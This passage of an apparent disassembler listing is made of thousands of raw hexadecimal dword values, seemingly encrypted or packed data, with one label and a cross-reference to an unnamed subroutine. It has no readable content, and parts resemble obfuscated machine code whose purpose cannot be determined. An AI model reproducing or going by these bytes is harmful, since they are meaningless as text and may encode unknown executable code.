5138DDCh, 1FF9B1h dd 606627D5h, 0A8E39A35h, 52636F1Ah, 33AC109h, 121327DCh dd 117794B9h, 2E218DD5h, 0FB7024B7h, 96765737h, 0F273688Fh dd 12138837h, 7B7C1B9h, 2E2127D5h, 0FB7075B7h, 9E61FD37h dd 0F2752DB7h, 905D6537h, 1088075Ah, 90ED8F47h, 10815FB7h dd 65E31975h, 6063FF24h, 6CDB0B22h, 1563A327h, 90ED2547h dd 10811B4Bh, 79E3B375h, 6063AA24h, 6CDBA122h, 1563F627h dd 90ED8F47h, 10815063h, 61E31975h, 6063FF24h, 30E30335h dd 5263A331h, 31EA709h, 121314DCh, 10C70DB9h, 2E2141D5h dd 0FB705EB7h, 9E616437h, 0F24D51B7h, 905D0337h, 108834B2h dd 90ED1647h, 10818EBFh, 91E37F75h, 6063CC24h, 28E39A35h dd 52636F25h, 3EEC109h, 121327DCh, 16A794B9h, 2E218DD5h dd 0FB70C8B7h, 9E615737h, 0F24240B7h, 905DCF37h, 108852A2h dd 90ED2547h, 108131FBh, 7CE3B375h, 6063A312h, 0C8E3A935h dd 5263F618h, 3F20D09h, 121341DCh, 3413A7B9h, 2E2114D5h dd 0FB7058B7h, 967F3137h, 0FB70FA8Fh, 1C131137h, 4BB35B1h dd 616641D5h, 34E3A935h, 5263F62Bh, 3B20D09h, 0C1341DCh dd 3BE9FB1h, 606614DCh, 0C8DB0B3Bh, 1563A323h, 90ED2546h dd 10810ED7h, 8DE3B375h, 6063AA24h, 44E3A935h, 5263F613h dd 3FA0D09h, 121341DCh dd 113A7B9h, 2E2114D5h, 0FB7028B7h, 9E613137h, 0F26DCFB7h dd 905D5637h, 10889E96h, 90ED4347h, 10810ED7h, 0BDE32A75h dd 60636624h, 84E3CF35h, 5263C539h, 3CA9409h, 12138DDCh dd 36EBC1B9h, 1E2127D5h, 10E21ECDh, 0FC668832h, 0EA99BFD8h dd 1EDBA709h, 906914D5h, 15668839h, 0A212C1BFh, 0C68F27DFh dd 2E99EEC9h, 0F24695B7h, 0DE34B37h, 96662232h, 0FB73DC8Fh dd 90698937h, 15664439h, 0F345A7BFh, 0BA8F116Ah, 2E9977C9h dd 0FB704CB7h, 19E22D37h, 2E661132h, 0FB7084B7h, 10E34B37h dd 0FC662232h, 0EA99EAA0h, 1566888Ch, 1498C732h, 1523A73Dh dd 905D1132h, 10889DCEh, 156DC13Dh, 90EB2232h, 153E73D6h dd 0EA9DE5DBh, 15E37FCDh, 1A63CC24h, 15661AB7h, 4FE30532h dd 0FC661C51h, 0EA99D964h, 3629409h, 90698DDCh, 15664439h dd 76F9A7BFh, 2A8F116Ah, 9E9977C9h, 1567FAF2h, 0E36D2232h dd 1563943Dh, 368F8832h, 9E99BBC9h, 48D3ABC2h, 9C63F62Eh dd 0F262E587h, 0FC58C437h, 1540A73Dh, 6BED1132h, 9E988B33h dd 15A5C5ECh, 2E662272h, 0F27A4C8Fh, 1DE48737h, 2E664432h dd 10E02DC9h, 0FC661132h, 0EA9972D4h, 1CCFF9B9h, 90A127D5h dd 10813DBFh, 15668832h, 78D3CD52h, 9863C536h, 0FB5701AFh dd 1AB57737h, 156666B0h, 0A7FBAF32h, 0EA63FDE1h, 0CBE587E1h dd 9E99BBCDh, 0F2624F87h, 98D39837h, 98636F1Eh, 0F80371AFh dd 9EB5DD37h, 0F27A4CB7h, 78E30137h, 7463A336h, 381FBFBFh dd 0C69914DCh dword_5B142C dd 250715BFh, 0C69941DCh, 156AA13Dh, 90E51132h, 10818C5Fh ; DATA XREF: sub_542C3C+3D17o dd 0EAB8AD37h, 88EBDDCDh, 108821B8h, 96695BCDh, 1566443Ah dd 0FC62E0B1h, 15661100h, 0C6D415BFh, 0C69941DEh, 156DA13Dh dd 0A0ED1132h, 10818C5Fh, 1561C4DBh, 78EBA932h, 9C63F636h dd 0F262E587h, 0E2A86F37h, 0E69709EBh, 0EAF0F896h, 88EB77CDh dd 108B21BFh, 0D2EDF1CDh, 1CCF9419h, 90EF8DD5h, 10814517h dd 1CCFA7B9h, 453114D5h, 736405BFh, 0C49941DFh, 49BA7B9h dd 423614D5h, 1CCF0DB9h, 983641D5h, 0F80013BFh, 9EB7EE37h dd 3EAE03E2h, 0F277B9BFh, 10DBA137h, 1563F610h, 154D0C3Dh dd 90ED4432h, 108135EFh, 37639419h, 0D45D8DD5h, 1571C23Dh dd 90ED2232h, 1081319Bh, 37630D31h, 90EF41D5h, 108121C7h dd 156652DBh, 0D4EDD932h, 1A99497Ah, 9C262232h, 0F271CCB7h dd 70E38937h, 0D263A31Fh, 0F24427B7h, 15661137h, 7D26E232h dd 15665432h, 0EA664863h, 0F27D44A7h, 44F37737h, 9C63A312h dd 0F2468BB7h, 0E0E39837h, 4C636F31h, 1693F1CDh, 0A09927D5h dd 108100CFh, 0BCD37765h, 9863A33Bh, 0F80CE1B7h, 14B6EE37h dd 0F2448DBFh, 0E0DBCF37h, 9E63C531h, 0F277EC87h, 9EC27B37h dd 0F26A9987h, 53A18F37h, 156611CEh, 10A64932h, 63B6EA37h dd 58E3214Ah, 9E63F621h, 0F2657DBFh, 0B86ECD37h, 159A64F5h dd 9C661132h, 0F26A5587h, 0EA9EC737h, 1546A73Dh, 2BE71132h dd 0C8BB55EFh, 1572C13Dh, 13A12232h, 15661132h, 9C624EB1h dd 0F26A9987h, 0E380CB37h, 0D5A7EECDh, 58E38B31h, 9663A321h dd 0F267B78Fh, 91691037h, 156688AFh, 0BFCC7AB3h, 90698898h dd 15661120h, 0D2624EB1h, 1566B874h, 0A5F12232h, 1565F8DBh dd 0A5F18832h, 0A8E514DAh, 108133EFh, 2BE21E33h, 0AD668832h dd 15664532h, 3729FB1h, 1A6614DCh, 156680B6h, 11FBC932h dd 0EA63CF5Ch, 855991E1h, 156E0C3Dh, 0D2E54432h, 1525CB37h dd 0EDE51132h, 1FE48762h, 0A5664432h, 0BF3E88A2h, 156635DBh dd 95CCD032h, 1A8FBB4Dh, 15663AB7h, 1DB9232h, 15636624h dd 156EC03Dh, 88EB2232h, 108B7CE6h, 52EE5BCDh, 0E0E3CF36h dd 3E63C531h, 118E92F5h, 53A12599h, 156644CEh, 0EA77CB32h dd 0A0EFEECDh, 108184EFh, 95662C60h, 150C2232h, 3CA3A4CDh dd 80998DD5h, 10816153h, 74EBA968h, 0D263F630h, 15668833h dd 11A7C732h, 1707AFBBh, 58F14D5h, 0FC9977C7h, 15664296h dd 74EBA952h, 9E63F630h, 5EB013Bh, 9463AA24h, 51326C0Ah dd 9E31E7Eh, 73668832h, 59623CB3h, 5E32D1Ch, 9E661132h dd 13A00BC2h, 0F83C1B9h, 138F27D5h, 9E661133h, 26B603C2h dd 155AE8FBh, 153BA63Dh, 385A1132h, 0EA890C3Dh, 3B5ABBCDh dd 155BA63Dh, 255A1132h, 14660A3Dh, 2C5A4432h, 0EAB1A43Dh dd 545AEECDh, 15960A3Dh, 4F5A4432h, 0EAA1A43Dh, 4A5AEECDh dd 0EAD90C3Dh, 745ABBCDh, 15BEA03Dh, 6F5A1132h, 0EAC90E3Dh dd 0DE8FBBCDh, 57662232h, 9169C709h, 156688F0h, 8F8F0578h dd 9099DDCDh, 0A6E21EFBh, 98668832h, 0F268C587h, 9EACA937h dd 0BB48A1C8h, 0EA9F0D3Dh, 0DA4DBBCDh, 0EC4DFBC5h, 0B195E6B5h dd 1599CFF4h, 1BE7D1BFh, 90ED27D5h, 108110DBh, 906948B7h dd 15664428h, 27C3A7F4h, 7D2114D5h, 0C1FC2FE0h, 3E63F1CDh dd 90EB27D5h, 108C6C93h, 0EA3458CDh, 1AA6C1E2h, 15661AB7h dd 3CE39A32h, 90636F32h, 0FE34BF2h, 0D3662232h, 0F254B4B7h dd 0FC0EC437h, 0EABF9E2Eh, 0F24D2787h, 0B4E39C37h, 0EA63624Fh dd 0C59916E2h, 9069E2B7h, 15661137h, 1566A9DBh, 5E3CD32h dd 4563CC24h, 4FE39C64h, 0EA63624Ah, 1AA64FE2h, 156627B7h dd 1562F832h, 51EF8832h, 0D6075816h, 5EBA952h, 4563FF24h dd 556549B9h, 9DF6CF0Eh, 9C662232h, 0F26F18A7h, 159E8D37h dd 45ED4432h, 70F3AB3Eh, 4D63F61Dh, 3142CCB9h, 905D8519h dd 10810D57h, 1576933Dh, 905D8832h, 10814D3Bh, 1562A13Dh dd 0D7071132h, 0D2078836h, 15666036h, 51A12232h, 15661516h dd 10DE8832h, 98664432h, 0F22B06BFh, 7587EE37h, 0FC5A8EB8h dd 1558C03Dh, 0FD5A2232h, 1524953Dh, 1A5A8832h, 1574C03Dh dd 0D85A2232h, 1559953Dh, 0FE5A8832h, 152FC03Dh, 0D6072232h dd 95674FB8h, 0EEE678D1h, 0FAE34BB2h, 9E99DDCDh, 13A592ECh dd 0FC64D631h, 15664426h, 96677CB9h, 9169EAC9h, 1566881Bh dd 4B659AB9h, 10A5A133h, 0EA99D8DBh, 4BD087CDh, 3B8DC733h dd 0EADAA63Dh, 1F8FEECDh, 95668832h, 1A98454Ch, 0EA998FB7h dd 0EA06F8CDh, 443077CDh, 0D5551361h, 95BEA89Eh, 0EEE6E1D1h dd 0F9E28742h, 29664432h, 30E22D3Dh, 29661132h, 91E287DBh dd 29664433h, 0E22DD9h, 29661130h, 64E287D1h, 29664432h dd 56E22DD0h, 4A661130h, 0D638D169h, 386C1F5h, 156027DCh dd 0BEC1132h, 95966BB2h, 9069C4C9h, 0EA99DDD1h, 48E39A7Ch dd 9E636F2Eh, 0F24AC9A7h, 96B8A937h, 4B6517F1h, 1ABEB330h dd 15664CB0h, 1ABC1932h, 0EA99AFB4h, 96B9A3CDh, 0B80042D9h dd 0BEF58954h, 9C62D7B1h, 61EFAC0Eh, 0A0EF4816h, 1081265Fh dd 4B3F4A6Dh, 0FC624CB1h, 0EA99BE52h, 386A7F5h, 156414DCh dd 0CBED8832h, 9568F23Dh, 9669A2CBh, 1566113Ah, 0FC255131h dd 1566443Fh, 0E299CBB2h, 0EA8790EBh, 3E668832h, 48E3CFEBh dd 9E63C52Eh, 0F24A9CA7h, 14DB0B37h, 1463A31Eh, 15C5A63Dh dd 0CD5D1132h, 15FD0A3Dh, 0CF5D4432h, 0EA27A03Dh, 9B8FEECDh dd 0D2668832h, 0FB70A4B7h, 15662037h, 1AB89A32h, 0ECE68684h dd 1DE54BB2h, 16662232h, 188F52EBh, 95668832h, 0CC91BBDBh dd 1599C3B3h, 0CC4D1132h, 93B0DB9h, 80ED41D5h, 10810EBFh dd 3967ACB1h, 1A678DD5h, 15660CB6h, 1ABE1932h, 156619B0h dd 1ABCB332h, 0EA98A2B4h, 1AD66CCDh, 0A5689B98h, 1A8708B2h dd 3ECC8538h, 118DA1EDh, 0D3E5BAA1h, 78D30130h, 0D263A336h dd 0F24A23B7h, 15661037h, 11A20B32h, 0D1E51D69h, 11A2A136h dd 0EA9F66DBh, 0FCD6C6CDh, 3EA0CF98h, 118EA1F5h, 11A29299h dd 9638D169h, 0D28F40F6h, 0D299DDCBh, 0FB70F1B7h, 15668D37h dd 96B8CF32h, 0B6526F1h, 93B94B9h, 80ED8DD5h, 108168BFh dd 8DBA17Ch, 1463F62Ah, 14650C3Dh, 0CD5D4432h, 156EA03Dh dd 0CF5D1132h, 154D0E3Dh, 0A0EF4432h, 1081265Fh, 3868CB9h dd 49678DDCh, 0CB8F4816h, 4A662232h, 0D7B94F5h, 15678DD5h dd 4C3D4432h, 11A2A16Ch, 0EA9EE6DBh, 14DB0BCDh, 1463A31Eh dd 15DDA63Dh, 884D1132h, 1081946Fh, 1CCFC9B9h, 0DE6527D5h dd 0FCE5DE19h, 0BF8F3837h, 0D1E5EFA3h, 4B3F7936h, 0FC62D5B1h dd 0EA99711Ch, 386C1F5h, 156427DCh, 0CBED1132h, 95683E3Dh dd 9669C4CBh, 1566223Ah, 0FC25C831h, 1566883Fh, 0E299ADB2h dd 0EA87A3EBh, 3E661132h, 48E303EBh, 9E63A32Eh, 0F24AAFA7h dd 0EA20F837h, 90A177CDh, 108852D2h, 15662230h, 0A369CFB9h dd 959F083Ch, 156EC73Dh, 0CC652232h, 156BF871h, 0FCE68832h dd 94BFB3CDh, 1566DDD3h, 9EBF3A32h, 0F27AD5B7h, 98F3CF37h dd 9663C51Eh, 0F24A108Fh, 91698937h, 0EA99BAFBh, 9769FA09h dd 1566113Ah, 93695209h, 0EA99B955h, 3EA8A97Ch, 108F92FDh dd 84CC6182h, 0EDEEAD99h, 13ECDDCDh, 9169F90Eh, 15668834h dd 157EADCAh, 9E352232h, 143812ECh, 0A5634BB1h, 0CA4DEEDAh dd 8662C9B1h, 0D3E54A99h dd 44A57137h, 2960CF54h, 55E22DF1h, 29661132h, 2DE287F9h dd 29664432h, 2DE22DF0h, 29661132h, 25E287F8h, 73664432h dd 1A43DD0Fh, 156621B6h, 3B5BEE32h, 18E34BCDh, 9F662232h dd 0E5421374h, 9169280Eh, 15664411h, 2C8FDA6Bh, 26661132h dd 0C8FC9FBh, 0AC664432h, 15662231h, 15661EDBh, 15603132h dd 108F4432h, 0AC662232h, 15661135h, 98ED2CC1h, 108168BFh dd 9069EBB7h, 15661134h, 39EB3DBBh, 0EC3F41D5h, 13ED44F1h dd 9169D20Eh, 15668857h, 0F6E69CB8h, 659DA2C2h, 15FA953Dh dd 0FC5A8832h, 1529C03Dh, 0FE5A2232h, 1521953Dh, 0D75A8832h dd 1559C03Dh, 0DE5A2232h, 1551953Dh, 28008832h, 916961CDh dd 1566221Fh, 9169DB0Eh, 15668817h, 9169A70Eh, 15662250h dd 0EA482C54h, 156B0D3Dh, 53EC4432h, 29960630h, 13E21E92h dd 0ED668832h, 15664BDBh, 98D3AB32h, 9863F61Eh, 0F803BDAFh dd 0ECB5BB37h, 53ED72F1h, 4E39822h, 4D636F1Bh, 987A82B1h dd 0F242A78Fh, 5165BC37h, 98CDAC16h, 0F27ADD8Fh, 51658F37h dd 0BE363516h, 3EDB35BFh, 16CB41D5h, 0BE4E0676h, 9830D26Ch dd 0F80386AFh, 0FCB5BB37h, 0FFFFFF95h, 0D24ECEDFh, 0FD4AA86Ch dd 51A2458Ah, 0A7C0D5F2h, 96A7A857h, 152AA8EDh, 2429458Ah dd 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch dd 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah dd 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h dd 59D7BA86h, 0CDCDCE25h, 0DCF14067h, 0F8F3EA32h, 0D871BA8Fh dd 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 0A638C882h, 462FB970h dd 881CDF07h, 0C6D55145h, 0B85E0003h, 0E9835492h, 8BA4F305h dd 0BA31E4CBh, 565DB1DAh, 0BC2FEB32h, 53BADC58h, 0D6113C52h dd 0DDD05C53h, 5163B977h, 0DF79F4B9h, 1331B575h, 5A1A3822h dd 0DFBAF4B9h, 9F36A175h, 36ABA1F0h, 647034F4h, 5E983D5h dd 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 94BCE017h, 3FD525F8h dd 0FAADFDF5h, 22929802h, 7ACFB734h, 29B723ACh, 7A1A20ADh dd 277975FDh, 7A0A987Ch, 0FFA07013h, 7FC28AFAh, 0E983C87Dh dd 8BA4F305h, 0ECBD8DDBh, 8D05EE16h, 0EE31D38Dh, 6644B805h dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 0F4904C7h, 0FFFFF285h dd 83C08BFFh, 0E70C81BDh, 9750005h, 2819BD83h, 740005E7h dd 8B535019h, 411B8C0h, 85890000h, 5E71775h, 0B4FA9D8Dh dd 0D3FF05E9h, 0BD83585Bh, 5E72819h, 50177400h, 411B853h dd 85890000h, 5E71775h, 0B19B9D8Dh, 0D3FF05E9h, 0C08B585Bh dd 72A4F2BBh, 0FC04EB46h, 0E9031C7Eh, 5B6h, 0CC62B72Dh dd 15AB7E7Ch, 63F920C5h, 0AE44ED13h, 0F68C9D5Eh, 0AA5174DDh dd 6599E97Fh, 1BE636CCh, 0CF308016h, 0DEF7CC62h, 80070DF1h dd 2AAF955Ah, 41F839C6h, 4FE21E2Ch, 91D3DCC0h, 17486454h dd 218CE7B6h, 873068CEh, 768956A5h, 6FBF55BBh, 6B54A190h dd 3F8C9D5Dh, 2809F7A7h, 0FF0B43DBh, 1A17E700h, 82CF35CDh dd 0BC758B99h, 59827884h, 8C7B658Bh, 0B168CEEAh, 0F0CBAF9Ch dd 85535491h, 0BEF2A44Dh, 0F6041228h, 164EE633h, 7DEEF50Ah dd 48E91563h, 69AF63FBh, 4E056B5Fh, 7B684C39h, 22F05492h dd 59A8F8EAh, 0DDEB42D8h, 0C9D50D24h, 0CAACF938h, 0C0C2AF34h dd 0CC4B3FB2h, 928FFBDFh, 4FB58354h, 0A9F79CE9h, 34FD0453h dd 80B14E9Eh, 6092B7C9h, 6A8E725Fh, 48165492h, 21632394h dd 0A07F40E9h, 69549267h, 0DC86F107h, 0BD457C68h, 94h dd 0F839C668h, 0D40CEAABh, 24D55491h, 0F946EB16h, 97652961h dd 7CFC3AE4h, 78657A45h, 5491DF94h, 0A4164E1Ch, 1, 4DB1BF4Fh dd 5AA0ACE4h, 8F0618CFh, 22397FA4h, 1EEB6ECDh, 0C92F4A2Dh dd 0EDFFE891h, 0EE4964B5h, 0A8B4EC77h, 0C0718D52h, 2875DB73h dd 19CE313Fh, 63FB48E1h, 47B9C5FDh, 53C8AC99h, 5E4E5492h dd 1F3F2E09h, 0ED9D6B1Dh, 37CF1C0Dh, 9ED284D1h, 0F9E0F248h dd 9BDF8D14h, 41B9C5FDh, 0FD0252E8h, 35479E34h, 58C6BE36h dd 31427AF8h, 0A7F435C6h, 3DF435C5h, 2B63B62Fh, 0CE5BA082h dd 0CF629F81h, 895F0D82h, 64726204h, 65FB2ECDh, 0FA47EA15h dd 0EE50FF11h, 29A95124h, 740C59D8h, 1BCAD60Eh, 0E2E8B1FEh dd 0A4A76114h, 93A8457Ch, 53000000h, 0A7F435C6h, 0DE4BB0BEh dd 0CE4B9AA6h, 0CD5C9F81h, 0CF629E80h, 24FE21Fh, 0B4F90F5Dh dd 5BEA0034h, 9CF389A0h, 962758Ah, 34CB8837h, 535F97FDh dd 523481A8h, 98FF35AEh, 79C66B93h, 977D2DE1h, 3442F95Fh dd 822B63C6h, 3225B3B9h, 457C9A98h, 0FE1BCAD8h, 6FE119B1h dd 62h, 34B1BF1Ah, 5AA1ADE5h, 8B9982CFh, 0A78A7473h, 245CC25Ah dd 0FB48E918h, 64FEE519h, 0CADF18EBh, 684A97FDh, 0D74C9998h dd 8BCED329h, 0C3380FDDh, 0E44ADF1Ch, 34C6F94Eh, 7B2C3EF5h dd 0E0940B1Eh, 14D57EB6h, 5491EB35h, 9DEA47B7h, 9DEA3FBBh dd 4F5CAAF8h, 37684E6h, 457CEB59h, 13Ah, 1FC6E500h, 34CBADFAh dd 0CA3446FDh, 3009BACFh, 0C56A134Bh, 13D26177h, 88EE43BCh dd 0FA83BFD1h, 0F5A98877h, 477FA55Dh, 0D0386B55h, 4E592C19h dd 13E15177h, 161BE4C6h, 50814D5Fh, 0F3FED175h, 8679C9BBh dd 0BF9D5EABh, 0AE5A78DCh, 4654EA00h, 344078B9h, 80D066CBh dd 4F98687Fh, 0CD1A80B1h, 0A082CF35h, 6D72885Fh, 0B9519E93h dd 2136ED53h, 78DC5034h, 3B09D65Ah, 0B4CD96FDh, 12F6E302h dd 9A5A790Eh, 852E66CCh, 152BC1B1h, 0EB38F907h, 0F00F1B53h dd 4654AB41h, 61D0309Fh, 0DE167C14h, 9BC64CF6h, 62778C40h dd 79199175h, 0BC4B195Ah, 5A7919D8h, 0E85A9260h, 167h dd 91FB2C93h, 0F986EDDAh, 0B8865176h, 8674826Bh, 0A05F6BA3h dd 96A4FB91h, 818DC564h, 8466B37Eh, 54936C7Bh, 0D11E84ADh dd 71CD339h, 7900361Ah, 0F33EC05Ah, 96062541h, 6F656DF6h dd 4628D109h, 452774B5h, 5FD22EB9h, 0C7147A12h, 860BE115h dd 48E6F4E4h, 3169C03Ah, 1906DA25h, 5A796635h, 0A63FEFBDh dd 288E2673h, 97826371h, 1166D5Fh, 79663014h, 0B2EAB85Ah dd 9B6E20CAh, 3D0140h, 98AA0000h, 74B95EC5h, 0D1E567Fh dd 0B848E42Ch, 6F5C1379h, 5491D35Bh, 0C9DE9563h, 91D3F8DCh dd 7AB28054h, 0D42C10D1h, 9EFA5491h, 0C52B5F48h, 0D40D210Eh dd 47155491h, 0A99FB1h, 2C020000h, 79B847FBh, 186F5C13h dd 985176DBh, 7F947DCAh, 78DCAE92h, 6044315Ah, 0E85A78DCh dd 629A681Ah, 0F288A956h, 1DD45DA2h, 2206F308h, 0AA5A78DDh dd 0DC694DDCh, 23F15A78h, 188142EBh, 8F5A78DDh, 0AC907D92h dd 345A78DDh, 9C6A2E66h, 4EA93AC5h, 458C3E78h, 0E8D268CEh dd 88964DBFh, 7184BC5Dh, 765A475Ch, 0FE5A7985h, 0CC1918E6h dd 0AB96CE34h, 576792A1h, 0B9EF92A4h, 5F907D9Fh, 0FE4B1927h dd 974EE31Ch, 7FB77289h, 869431D6h, 0BA7EB67Bh, 0E0487B2Ch dd 0BC711729h, 13863105h, 0D1DBC8DBh, 0D95D5551h, 2C20750Bh dd 2EB947FBh, 79115ED3h, 0E1F6AD13h, 0C3B028D3h, 5491D3DFh dd 0FB339967h, 7FE10610h, 0F3400E51h, 0AD43EE11h, 428FA25Dh dd 51C95781h, 0F1AE158h, 1120E0C2h, 3BD11FC4h, 34C2F676h dd 30E50416h, 0DE8FFC99h, 0CC659AA6h, 1819E636h, 1A17E9CBh dd 0CDA28CDh, 0D167CA35h, 9C956C7Ah, 737FB74Fh, 8CA55B8Ch dd 4F7A73Fh, 8972BF25h, 4BA38774h, 132B6172h dd 2CE046EBh, 1215F061h, 2AF830F5h, 0Dh, 0BDAABF8Dh, 5491D3D9h dd 0E15B9361h, 0FB1EC69Ch, 0FE33CCAEh, 0FF32CFB1h, 32ED0B2h dd 227D4B6h, 128D3B5h, 32ED2B4h, 811D4B6h, 821D9BBh, 0B686FBBh dd 8900004Dh, 0EF682434h, 8900007Eh, 3C68241Ch, 89000076h dd 6768243Ch, 8B05EE33h, 0C481241Ch, 4, 8904EC83h, 4832424h dd 535F0424h, 0FF08478Fh, 815F2434h, 4C4h, 2434FF00h, 4C4835Bh dd 0F9477AE9h, 7BDF75FFh, 0C428DB2Ah, 0C9B81176h, 305EE38h dd 86E0FFC5h, 361BB977h, 4B32C83Dh, 2D33DA50h, 7C36E617h dd 112FD8DCh, 5417F33Ch, 0E8258398h, 0Bh, 6807787Dh, 221680ABh dd 0E979589Bh, 5, 14B54477h, 81F95AA6h, 6F4CC2h, 0D78B800h dd 0DB3368F3h, 28D0Fh, 0CF8B0000h, 661A348Bh, 23C7F781h dd 1242C681h, 0F6810742h, 51295BE4h, 3154F681h, 11E97356h dd 61000000h, 0F239826Bh, 2CBA0A64h, 7D34DDD7h, 0D6573D7Eh dd 8B1A3489h, 4EB83CBh, 0FB81C28Bh, 0FFFF9148h, 1B850Fh dd 0B5600000h, 0C981665Ah, 0E961B9EDh, 18h, 0AD0836C5h dd 358B96BDh, 0F698D1CFh, 99E9F953h, 9CFFFFFFh, 8A86646Eh dd 8EBh, 6BD60000h, 0FAE913DDh, 68000004h, 5EE3AE2h, 0F94696E9h dd 3B3A68FFh, 8CE905EEh, 68FFF946h, 5EE3CFFh, 0F94682E9h dd 712D2FFh, 50D92171h, 9E7B6ABAh, 0E948B808h, 31F80353h dd 0F619829Bh, 3E8E2405h, 8BDB71C0h, 0D525BB76h, 9C71072Ah dd 0DB29683h, 543A5A80h, 0F435C6CFh, 573B283Dh, 0DF5491D3h dd 4E30D911h, 0EA80B1h, 0A0CA17D7h, 0A0ED3CBEh, 0CF775408h dd 4B38EF55h, 51770AE0h, 0CCD1AE8h, 5A790E2Ch, 402BC1C7h dd 409BC696h, 31977h, 1C572200h, 0E49B0D36h, 0BB0829D6h dd 0EBD8EB23h, 5176E2A8h, 74F56230h, 0AFDBE88Dh, 13897688h dd 0D55EF77Dh, 2058D925h, 28DF497Ah, 0C384F43Bh, 59A67454h dd 8B42AADDh, 304D5C79h, 0D50D21CFh, 0C11FD5C2h, 0D19F5AAAh dd 0F4F30C1Ah, 0F9DB28F1h, 5CC22801h, 0C66397A5h, 0B7A9E179h dd 75999867h, 0DBBCA083h, 566C10EDh, 0A8000003h, 0F747DD3Ch dd 40902603h, 8EDE74A5h, 0D929BF72h, 58710722h, 0FA2FCCEFh dd 47EA1464h, 91A061B1h, 0DD54ABFBh, 6C597247h, 5A800D88h dd 2CA52A10h, 0EDDA91FBh, 517FEB6Eh, 0DBE9A06Eh, 23730920h dd 430451D8h, 0B15C66DAh, 0F2161BE4h, 0E4E97510h, 0FED77B58h dd 2, 4F9F35E4h, 98E87EABh, 0E636CC4Dh, 3181171Ah, 0B0C95FCAh dd 52D72447h, 9F926CBCh, 0E948B909h, 35FC0353h, 0C4B1CA9Fh dd 5A800EE0h, 2CFD8268h, 0EDDA91FBh, 517FEB6Eh, 0A28E5769h dd 69B66382h, 71581DD1h, 6634427Ah, 0D059A1AFh, 0AB3EB83h dd 80596949h, 1C15EB5Ah, 2011EDCFh, 1FED21D3h, 59705441h dd 2AF85A80h, 0C3D82DC4h, 59DDC1AEh, 97655A80h, 805A2408h dd 0A6DEAC5Ah, 243614E2h, 6373D483h, 0F534130Ch, 486A0AC8h dd 18C2AAE2h, 58409265h, 2D7AB74Ah, 0DF1DE95h, 955A8079h dd 0AF1D8FC7h, 0C6000001h, 0F9D905B4h, 1F570175h, 0AE39C60Eh dd 0AD93E051h, 6047C70h, 78DE44B6h, 0CB34422Bh, 0E94FE21Ch dd 0C0CC049Ch, 0D0B4A13Fh, 58549214h, 0A48E248Ah, 3D520973h dd 0E816D12Fh, 0C0ABE349h, 51772161h, 5C613E1h, 5A792225h dd 8DDA57A7h, 90DD54ABh, 3B4096F2h, 4D3A4FA4h, 5A792169h dd 1E5D2F1h, 895A7922h, 591D55BBh, 0B62ED883h, 350F409Bh dd 0BA000000h, 0DA91FB2Ch, 76FC26EDh, 6D8EA651h, 0FB9A7E6Bh dd 54225A78h, 0BCD188EEh, 78FBEBCFh, 6DA5735Ah, 0FC2303C4h dd 0B8BE5A78h, 0D48D3722h, 0B76E409Bh, 19000000h, 0ABF839C6h dd 0EBA932C9h, 6D959BFFh, 859A51B7h, 926DB498h, 366E3C54h dd 8C54AB8Dh, 926DBB9Fh, 0C5754354h, 428FF53Ch, 0FC929F60h dd 0C66397A5h, 7219A38Eh, 71C5492h, 9273361Ah, 0B8F0BE54h dd 48DE53ACh, 0CC3355Eh, 79013F1Fh, 3AF1BF51h, 49EE1325h dd 91CAAE9Bh, 84525A7Ch, 0C4ECED0h, 0F633C8D4h, 3EEB1060h dd 0ECF6F21Ah, 0F99D7AE4h, 139h, 64FA1FC5h, 0AD43E614h dd 0FB91885Dh, 46DC55ABh, 8E2405F6h, 12E90C75h, 0CD318117h dd 837ECE64h, 37C818AEh, 768F64FAh, 800FA589h, 0C2472D5Ah dd 3DF435C6h, 0D71D272Bh, 0F62E2B2Ch, 0E64BB404h, 39C6FB50h dd 36C9ABF8h, 92DF4AB1h, 14FE94FAh, 14CF2FE3h, 79774687h dd 8FF55B52h, 4427EBD8h, 90AF5177h, 79C5BFA3h, 656F455Ah dd 8B4CA1Fh, 6B228856h, 0F58B9E5Dh, 7916E6C6h, 9A97685Ah dd 629FAD04h, 0B2EA82CFh, 87D455A6h, 0A8E3h, 0FB2C4600h dd 0B7C5DA91h, 0C8B3EB2Eh, 517FEB45h, 50327F4Dh, 9CEC82AFh dd 917CE63h, 632AEEF5h, 3E2A1CDAh, 0EF7A0D8h, 693195FCh dd 134BAA09h, 90E48B28h, 253ABD48h, 853F2310h, 0F9C770B3h dd 0B385866Ah, 42EF1070h, 0DDAB5DF5h, 3C0BE1A5h, 81D86EC3h dd 0BBE7CB6Fh, 0CD70949Ch, 35CC11Fh, 0D4E0187Eh, 0B3A0B52Bh dd 70B3C7CFh, 16FA8957h, 9E70B3C8h, 3B1D6AD0h, 7A1F6CC5h dd 7280DE2Ch, 5E6AA28Fh, 0C4D990A1h, 9CE948B6h, 0C7917504h dd 4B1970B3h, 7FA18F97h, 1F57F275h, 0F22DD2Dh, 31EC2h dd 58810000h, 0FB1EC613h, 0FE33CCAEh, 0FF32CFB1h, 32ED0B2h dd 227D4B6h, 128D3B5h, 32ED2B4h, 811D4B6h, 821D9BBh, 0EC836FBBh dd 242C8904h, 5E08950h, 4, 8704E883h, 895C2404h, 1E68241Ch dd 89000011h, 34BB2414h, 8162F74Bh, 291B97E3h, 2CC38116h dd 0C10D5B78h, 0BF5708EBh, 444841F8h, 473FCF81h, 814732DEh dd 0BD0589EFh, 5FFB297Ch, 24148B54h, 5004C483h, 8B8h, 12A90500h dd 0D00176C6h, 0C612A92Dh, 58188976h, 5724148Bh, 0C781E789h dd 4, 4C781h, 3C870000h, 34FF5C24h, 0C4835B24h, 41A9E904h dd 530FFFF9h, 3E5DB82Bh, 0C50305EEh, 0E6D1E0FFh, 212D5106h dd 0BA1A06A5h, 145377C5h, 56041A47h, 0AB6E1CE0h, 0FF3C100Eh dd 2C4132FBh, 1B4723A0h, 0EDE94FB3h, 60000000h, 0A8D88C66h dd 0DF840F04h, 8B000000h, 0E72865B5h, 0FE8305h, 22850Fh dd 85C60000h, 5E732A5h, 69696845h, 0B5FF8E72h, 5E70899h dd 7DA1858Dh, 0D0FF05EAh, 17018589h, 0F08B05E7h, 0FE93E80h dd 